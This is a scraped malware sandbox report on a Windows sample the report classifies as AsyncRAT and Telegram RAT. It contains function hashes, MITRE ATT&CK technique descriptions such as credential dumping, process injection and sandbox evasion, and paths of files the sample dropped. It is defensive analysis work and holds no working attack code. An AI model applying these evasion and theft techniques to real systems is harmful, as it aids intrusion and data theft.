Instruction Fuzzy Hash: C02106B2904245DFDB08DF10DAC1F2ABB65FB94324F24C57DEA054B646C336E846E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00FCD4A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.573111695.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fcd000_wwst.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 110e412b66d9aec409be23fc2398e1653e8acfcd7e705e75579902ad50bd8ef5
Instruction ID: c5b022d38b484b6b80e89f4bd7387821f8219bc033be8972858a610751e47285
Opcode Fuzzy Hash: 110e412b66d9aec409be23fc2398e1653e8acfcd7e705e75579902ad50bd8ef5
Instruction Fuzzy Hash: 152124B2904245DFDB05CF04DAC1F2ABF61FB88328F28897DD9050B216C336D845EAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FCD3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.573111695.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fcd000_wwst.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b01dbe77e2c3cd66bc07cf43a9009412fedb9933ae9a5b24d5daa3bf84f2184
Instruction ID: edfa68ae5e43cf3e38eab9550c17e66743fd33692956e7cc6aa8557dc0950084
Opcode Fuzzy Hash: 2b01dbe77e2c3cd66bc07cf43a9009412fedb9933ae9a5b24d5daa3bf84f2184
Instruction Fuzzy Hash: E711B176804281CFCB15CF10DAC5B1ABF71FB94324F28C6ADD9454B616C336E85ADBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FCD49B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.573111695.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fcd000_wwst.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b01dbe77e2c3cd66bc07cf43a9009412fedb9933ae9a5b24d5daa3bf84f2184
Instruction ID: 25f875efcfa374e72f995e9cb7519bcc7061de3c43de14c5fb59a905d0c6d8ef
Opcode Fuzzy Hash: 2b01dbe77e2c3cd66bc07cf43a9009412fedb9933ae9a5b24d5daa3bf84f2184
Instruction Fuzzy Hash: CF11B176904281CFCB12CF14DAC4B1ABF71FB94324F28C6ADD8050B656C336D856DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FCD8A9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.573111695.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fcd000_wwst.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c4b7793a10508a7923fb9ae43f04cbb888e9ee2eaa7eace68386ee58d8e5870
Instruction ID: be67cbaf5d5b6784e8ad4a183fd0219b82c22545914c318d9d4802744d293789
Opcode Fuzzy Hash: 1c4b7793a10508a7923fb9ae43f04cbb888e9ee2eaa7eace68386ee58d8e5870
Instruction Fuzzy Hash: 6E014771508345AAD7109A12DE85F6BBF98EF41374F08802EEA045B686C374EC40EAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00FCD8A8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.573111695.0000000000FCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fcd000_wwst.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 341ee1fe92da776da8da8ec2cecac3bb6f560e15462caad276c0ee220fc79a8c
Instruction ID: 3f6e6d604e69137353bc7e1d18cf02976e59ce1ada6fa5b33e0bc8b9d22bc96e
Opcode Fuzzy Hash: 341ee1fe92da776da8da8ec2cecac3bb6f560e15462caad276c0ee220fc79a8c
Instruction Fuzzy Hash: 1BF0C271804384AAEB108A06DD85B66FFA8EF95774F18C45EED585B686C378AC44CAB0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3ZCSmfAvnf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: AsyncRAT

Threatname: Telegram RAT

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\WindowsDataC.exe

C:\ProgramData\WindowsDataC.exe:Zone.Identifier

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US.zip

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Desktop.txt

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Documents.txt

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Downloads.txt

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\OneDrive.txt

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Pictures.txt

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Startup.txt

C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Directories\Temp.txt

Windows Analysis Report
3ZCSmfAvnf.exe

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre